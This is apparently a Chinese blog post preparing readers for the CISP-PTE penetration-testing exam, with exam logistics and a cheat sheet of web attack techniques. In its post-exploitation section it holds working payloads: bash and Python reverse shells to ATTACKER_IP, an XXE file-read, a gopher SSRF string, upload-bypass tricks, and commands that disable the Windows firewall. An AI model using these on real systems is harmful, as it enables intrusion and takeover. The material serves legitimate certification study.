关于获取CISP-PTE一些避坑经历
字数 3939 2025-08-18 11:35:59

CISP-PTE认证考试全面指南与实战技巧

考试概述

CISP-PTE(Certified Information Security Professional - Penetration Test Engineer)是中国信息安全测评中心推出的渗透测试工程师认证。考试采用线下形式,主要在上海等地举行,分为上午场和下午场。

考试结构

  • 选择题:20道,共20分
  • 基础题:5道,每道1个Key,共50分
  • 综合大题:1道,含3个Key,共30分
  • 总分:100分,通过分数为70分

考试环境

  • 考场提供标准键盘,不允许携带外设
  • 使用奇安信开发的专用考试软件
  • 电脑全程监控,快捷键被锁定
  • 考试时长3小时,时间管理至关重要

考试准备与注意事项

考前准备

  1. 熟悉考试软件界面(类似TryHackMe的浏览器内嵌虚拟机)
  2. 准备常用工具和技术笔记
  3. 练习快速审题和记录关键信息

考试技巧

  • 审题:仔细阅读题目要求,避免方向性错误
  • 记录:随时使用记事本记录关键信息和思路
  • 源码:养成查看页面源代码的习惯
  • 环境分析:时刻思考当前环境可能存在的漏洞

渗透测试核心知识点

渗透测试七个阶段

  1. 前期交互
  2. 情报收集/信息收集
  3. 威胁建模
  4. 漏洞分析
  5. 漏洞利用/漏洞攻击
  6. 后渗透(深度利用)
  7. 书面报告

信息收集技术

Google Hacking

  • site: 指定域名
  • -site 排除特定域名
  • 使用DuckDuckgo等替代搜索引擎

子域名收集

  • 子域名挖掘机工具使用
  • 爆破技术(如御剑)

服务器信息收集

  • Nmap扫描:端口、服务识别
  • 目录扫描:御剑等工具
  • 常见泄露文件
    • .SVN/.git泄露
    • 网站备份文件(test.rar等)
    • .DS_store文件
    • WEB-INF文件
    • 配置文件泄露(.config, config.php.bak等)
    • robots.txt

SQL注入全面技术

SQL注入类型

  1. 基于注入点属性:数字型、字符型
  2. 基于注入点位置:GET型、POST型、Cookie型、HTTP Head型
  3. 基于注入程度:一阶注入、二阶注入
  4. 基于服务器响应:
    • 有回显:联合查询、报错注入、堆叠注入
    • 无回显:布尔盲注、延时盲注
  5. 特殊业务场景:
    • update/insert/delete注入
    • order by注入
    • 宽字节注入
    • HTTP分割注入
    • HTTP参数污染

注入技术详解

  • 联合查询注入UNION SELECT
  • 报错注入:利用extractvalue、updatexml等函数
  • 布尔盲注:基于条件响应的真伪判断
  • 时间盲注:利用sleep等函数延时响应
  • 读写操作into outfile/dumpfile

SQL注入绕过技巧

  • 注释符使用:#, -- , /*!xxx*/
  • 内联注释:/*!50000select*/
  • 编码绕过:十六进制、URL编码等
  • 等价函数替换

文件上传漏洞

常见绕过技术

  1. 客户端检测绕过(修改文件扩展名)
  2. MIME类型检测绕过(修改Content-Type)
  3. 图片马制作(添加GIF89a头)
  4. 文件内容检测绕过(混淆代码)
  5. 黑名单绕过:
    • 大小写(PhP)
    • 特殊后缀(php3, phtml)
    • 点空格(1.php.)
    • 双写(pphphp)
  6. 解析漏洞利用:
    • Apache多后缀解析(1.php.xxx)
    • IIS分号解析(1.asp;.jpg)
    • Nginx解析(1.jpg/.php)

.htaccess利用

AddType application/x-httpd-php .jpg

<FilesMatch "hack">
    SetHandler application/x-httpd-php
</FilesMatch>

其他技巧

  • %00截断(PHP<5.3.4)
  • 文件拼接:copy normal.png/b + shell.php/a hacker.png
  • .user.ini利用:
    auto_prepend_file=1.jpg
    auto_append_file=1.jpg
    

文件包含漏洞

伪协议利用

  1. file:// - 绝对路径读取
  2. php://filter/read=convert.base64-encode/resource= - 读取文件内容
  3. data://text/plain,<?php phpinfo();?> - 代码执行
  4. php://input - POST传递执行代码
  5. zip:// - 读取压缩包内文件
  6. phar:// - 读取压缩包内文件

日志投毒

  • 利用Apache日志(/var/log/auth.log)包含恶意代码

中间件安全

Apache漏洞

  1. .htaccess文件利用
  2. 日志文件包含
  3. 多后缀解析漏洞(123.php.a1.a2.a3)

IIS漏洞

  1. 目录解析(xx.asp目录内的任何文件)
  2. 文件解析(1.asp;.jpg)
  3. 特殊扩展名(.asp, .asa, .cer, .cdx)

Nginx漏洞

  1. 路径解析(1.jpg/.php)
  2. %00截断(影响特定版本)

命令执行漏洞

绕过技巧

  • Linux命令分隔

    • a&b - 都执行
    • a&&b - 前真后执行
    • a|b - 执行后面
    • a||b - 前假后执行
    • %0a - 换行符
    • ; - 命令分隔
  • 空格绕过

    • cat${IFS}flag.php
    • cat$IFS'flag.php'
    • cat<flag.php
    • {cat,flag.php}
  • 命令绕过

    • 变量拼接:a=l;b=s;$a$b
    • 编码绕过:echo d2hvYW1pCg== | base64 -d
    • 替代命令:less, more, tac, head, tail, od, strings

Windows命令执行

  • who^ami
  • (whoami)
  • set a=whoami&%a%
  • %a:~0% - 取全部字符

代码执行漏洞

危险函数

  1. eval() - 直接执行PHP代码
  2. assert() - PHP7.0.29前可作为函数使用
  3. preg_replace() - 使用/e修饰符执行代码
  4. create_function() - 创建匿名函数
  5. ${} - 变量解析执行

动态函数执行

$func = "system";
$func("whoami");

XSS攻击

类型

  1. 反射型XSS
  2. 存储型XSS
  3. DOM型XSS
  4. XSS盲打

利用方式

<script>
document.write('')
</script>

监听:python3 -m http.server 8000

防御绕过

  • htmlspecialchars过滤
  • JS函数大小写转换
  • /替换空格和引号

CSRF攻击

类型

  1. GET型CSRF
  2. POST型CSRF

防御

  1. 验证Referer字段
  2. 添加Token验证
  3. 二次验证
  4. 用户教育

反序列化漏洞

特征

  • 当类中有private参数时,序列化字符串格式为:%00类名%00成员名

利用

  • 寻找__wakeup()__destruct()等魔术方法
  • 利用phar协议触发反序列化

SSRF漏洞

危害

  1. 内网探测
  2. 窃取敏感数据
  3. 攻击内网应用
  4. 绕过安全防御

利用协议

  1. http:// - 基本探测
  2. file:// - 读取本地文件
  3. dict:// - 执行单条命令
  4. gopher:// - 完整TCP数据流

Gopher协议利用

gopher://192.168.1.1:80/_GET%20/index.php%20HTTP/1.1%0d%0aHost:%20192.168.1.1%0d%0a

XXE漏洞

基本利用

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

进阶技巧

  1. 外部实体引用
  2. 参数实体
  3. 盲XXE(带外数据)
  4. 利用php://filter获取文件内容
  5. 利用expect://执行命令(需安装扩展)

防御绕过

  • 修改Content-Type:application/json改为application/xml

逻辑漏洞

常见类型

  1. 短信轰炸(多手机号参数)
  2. 用户名枚举(不同响应)
  3. 未授权访问
  4. 会话固定/重用
  5. 空口令漏洞
  6. 越权漏洞:
    • 水平越权(同权限用户)
    • 垂直越权(不同权限用户)
  7. 验证码问题:
    • 验证码复用
    • 验证码可回显
    • 万能验证码(888888等)
  8. 交易支付漏洞:
    • 单价篡改
    • 支付接口修改
    • 优惠券无限使用

后渗透技术

提权方法

  1. SUID提权

    find / -user root -perm -4000 -exec ls -ldb {} \;
    

    例如find提权:find 1 -exec whoami \;

  2. sudo提权

    • 查看sudo权限:sudo -l
    • 利用有sudo权限的命令提权
  3. 内核漏洞提权

    • 使用dirtycow等漏洞

反弹Shell

  1. Bash

    bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
    
  2. Python

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    
  3. 限制长度的反弹Shell:

    echo \<?php>1
    echo Eval\(>>1
    echo \$_GET>>1
    echo \[``1\``]>>1
    echo \)\;>>1
    echo \?\>>>1
    mv 1 1.php
    

实战靶场与练习

推荐靶场环境

  1. 上课环境-pte-100.100-administrator-123.com [192.168.101.134]
  2. CentOS7-100.150-root [192.168.101.150]
  3. XSS靶机 [192.168.101.141]
  4. WebShell应急响应靶场 [192.168.101.142]
  5. pwnlab靶场 [192.168.101.143]

综合题技巧

  1. 端口扫描:nmap全面扫描

  2. 目录扫描:御剑等工具

  3. 水平越权:修改user_id等参数

  4. 数据库连接:查找config.php等配置文件

  5. 密码爆破

    • Hydra爆破SSH:hydra -L u.txt -P p.txt ssh://192.168.101.142
    • 提取响应值生成字典
  6. Windows系统

    netsh firewall set opmode mode=disable
    netsh advfirewall set allprofiles state off
    net user administrator mima
    

考试实战经验

高频考点

  1. SQL注入读取Key(非传统注入)
  2. AntSword连接限制(仅支持REQUEST/POST)
  3. 文件上传的各种绕过技巧
  4. 伪协议利用(特别是php://filter)
  5. 反弹Shell的多种方式

时间管理

  1. 选择题快速作答(约15分钟)
  2. 基础题每题控制在20分钟内
  3. 综合大题预留60分钟
  4. 最后15分钟检查Key是否正确提交

注意事项

  1. 所有Key必须正确提交,格式要准确
  2. 不要忽略简单题目,确保基础分拿满
  3. 遇到卡壳时及时切换题目
  4. 合理利用提供的环境信息(IP、端口等)

通过系统学习和充分练习这些技术点,考生可以全面掌握CISP-PTE考试要求的渗透测试技能,在实际考试中取得优异成绩。

CISP-PTE认证考试全面指南与实战技巧 考试概述 CISP-PTE(Certified Information Security Professional - Penetration Test Engineer)是中国信息安全测评中心推出的渗透测试工程师认证。考试采用线下形式,主要在上海等地举行,分为上午场和下午场。 考试结构 选择题 :20道,共20分 基础题 :5道,每道1个Key,共50分 综合大题 :1道,含3个Key,共30分 总分 :100分,通过分数为70分 考试环境 考场提供标准键盘,不允许携带外设 使用奇安信开发的专用考试软件 电脑全程监控,快捷键被锁定 考试时长3小时,时间管理至关重要 考试准备与注意事项 考前准备 熟悉考试软件界面(类似TryHackMe的浏览器内嵌虚拟机) 准备常用工具和技术笔记 练习快速审题和记录关键信息 考试技巧 审题 :仔细阅读题目要求,避免方向性错误 记录 :随时使用记事本记录关键信息和思路 源码 :养成查看页面源代码的习惯 环境分析 :时刻思考当前环境可能存在的漏洞 渗透测试核心知识点 渗透测试七个阶段 前期交互 情报收集/信息收集 威胁建模 漏洞分析 漏洞利用/漏洞攻击 后渗透(深度利用) 书面报告 信息收集技术 Google Hacking site: 指定域名 -site 排除特定域名 使用DuckDuckgo等替代搜索引擎 子域名收集 子域名挖掘机工具使用 爆破技术(如御剑) 服务器信息收集 Nmap扫描 :端口、服务识别 目录扫描 :御剑等工具 常见泄露文件 : .SVN/.git泄露 网站备份文件(test.rar等) .DS_ store文件 WEB-INF文件 配置文件泄露(.config, config.php.bak等) robots.txt SQL注入全面技术 SQL注入类型 基于注入点属性:数字型、字符型 基于注入点位置:GET型、POST型、Cookie型、HTTP Head型 基于注入程度:一阶注入、二阶注入 基于服务器响应: 有回显:联合查询、报错注入、堆叠注入 无回显:布尔盲注、延时盲注 特殊业务场景: update/insert/delete注入 order by注入 宽字节注入 HTTP分割注入 HTTP参数污染 注入技术详解 联合查询注入 : UNION SELECT 报错注入 :利用extractvalue、updatexml等函数 布尔盲注 :基于条件响应的真伪判断 时间盲注 :利用sleep等函数延时响应 读写操作 : into outfile / dumpfile SQL注入绕过技巧 注释符使用: # , -- , /*!xxx*/ 内联注释: /*!50000select*/ 编码绕过:十六进制、URL编码等 等价函数替换 文件上传漏洞 常见绕过技术 客户端检测绕过(修改文件扩展名) MIME类型检测绕过(修改Content-Type) 图片马制作(添加GIF89a头) 文件内容检测绕过(混淆代码) 黑名单绕过: 大小写(PhP) 特殊后缀(php3, phtml) 点空格(1.php.) 双写(pphphp) 解析漏洞利用: Apache多后缀解析(1.php.xxx) IIS分号解析(1.asp;.jpg) Nginx解析(1.jpg/.php) .htaccess利用 其他技巧 %00截断(PHP <5.3.4) 文件拼接: copy normal.png/b + shell.php/a hacker.png .user.ini利用: 文件包含漏洞 伪协议利用 file:// - 绝对路径读取 php://filter/read=convert.base64-encode/resource= - 读取文件内容 data://text/plain,<?php phpinfo();?> - 代码执行 php://input - POST传递执行代码 zip:// - 读取压缩包内文件 phar:// - 读取压缩包内文件 日志投毒 利用Apache日志(/var/log/auth.log)包含恶意代码 中间件安全 Apache漏洞 .htaccess文件利用 日志文件包含 多后缀解析漏洞(123.php.a1.a2.a3) IIS漏洞 目录解析(xx.asp目录内的任何文件) 文件解析(1.asp;.jpg) 特殊扩展名(.asp, .asa, .cer, .cdx) Nginx漏洞 路径解析(1.jpg/.php) %00截断(影响特定版本) 命令执行漏洞 绕过技巧 Linux命令分隔 : a&b - 都执行 a&&b - 前真后执行 a|b - 执行后面 a||b - 前假后执行 %0a - 换行符 ; - 命令分隔 空格绕过 : cat${IFS}flag.php cat$IFS'flag.php' cat<flag.php {cat,flag.php} 命令绕过 : 变量拼接: a=l;b=s;$a$b 编码绕过: echo d2hvYW1pCg== | base64 -d 替代命令: less , more , tac , head , tail , od , strings Windows命令执行 who^ami (whoami) set a=whoami&%a% %a:~0% - 取全部字符 代码执行漏洞 危险函数 eval() - 直接执行PHP代码 assert() - PHP7.0.29前可作为函数使用 preg_replace() - 使用/e修饰符执行代码 create_function() - 创建匿名函数 ${} - 变量解析执行 动态函数执行 XSS攻击 类型 反射型XSS 存储型XSS DOM型XSS XSS盲打 利用方式 监听: python3 -m http.server 8000 防御绕过 htmlspecialchars 过滤 JS函数大小写转换 / 替换空格和引号 CSRF攻击 类型 GET型CSRF POST型CSRF 防御 验证Referer字段 添加Token验证 二次验证 用户教育 反序列化漏洞 特征 当类中有private参数时,序列化字符串格式为: %00类名%00成员名 利用 寻找 __wakeup() 、 __destruct() 等魔术方法 利用phar协议触发反序列化 SSRF漏洞 危害 内网探测 窃取敏感数据 攻击内网应用 绕过安全防御 利用协议 http:// - 基本探测 file:// - 读取本地文件 dict:// - 执行单条命令 gopher:// - 完整TCP数据流 Gopher协议利用 XXE漏洞 基本利用 进阶技巧 外部实体引用 参数实体 盲XXE(带外数据) 利用php://filter获取文件内容 利用expect://执行命令(需安装扩展) 防御绕过 修改Content-Type: application/json 改为 application/xml 逻辑漏洞 常见类型 短信轰炸(多手机号参数) 用户名枚举(不同响应) 未授权访问 会话固定/重用 空口令漏洞 越权漏洞: 水平越权(同权限用户) 垂直越权(不同权限用户) 验证码问题: 验证码复用 验证码可回显 万能验证码(888888等) 交易支付漏洞: 单价篡改 支付接口修改 优惠券无限使用 后渗透技术 提权方法 SUID提权 : 例如find提权: find 1 -exec whoami \; sudo提权 : 查看sudo权限: sudo -l 利用有sudo权限的命令提权 内核漏洞提权 : 使用dirtycow等漏洞 反弹Shell Bash : Python : 限制长度 的反弹Shell: 实战靶场与练习 推荐靶场环境 上课环境-pte-100.100-administrator-123.com [ 192.168.101.134 ] CentOS7-100.150-root [ 192.168.101.150 ] XSS靶机 [ 192.168.101.141 ] WebShell应急响应靶场 [ 192.168.101.142 ] pwnlab靶场 [ 192.168.101.143 ] 综合题技巧 端口扫描 :nmap全面扫描 目录扫描 :御剑等工具 水平越权 :修改user_ id等参数 数据库连接 :查找config.php等配置文件 密码爆破 : Hydra爆破SSH: hydra -L u.txt -P p.txt ssh://192.168.101.142 提取响应值生成字典 Windows系统 : 考试实战经验 高频考点 SQL注入读取Key(非传统注入) AntSword连接限制(仅支持REQUEST/POST) 文件上传的各种绕过技巧 伪协议利用(特别是php://filter) 反弹Shell的多种方式 时间管理 选择题快速作答(约15分钟) 基础题每题控制在20分钟内 综合大题预留60分钟 最后15分钟检查Key是否正确提交 注意事项 所有Key必须正确提交,格式要准确 不要忽略简单题目,确保基础分拿满 遇到卡壳时及时切换题目 合理利用提供的环境信息(IP、端口等) 通过系统学习和充分练习这些技术点,考生可以全面掌握CISP-PTE考试要求的渗透测试技能,在实际考试中取得优异成绩。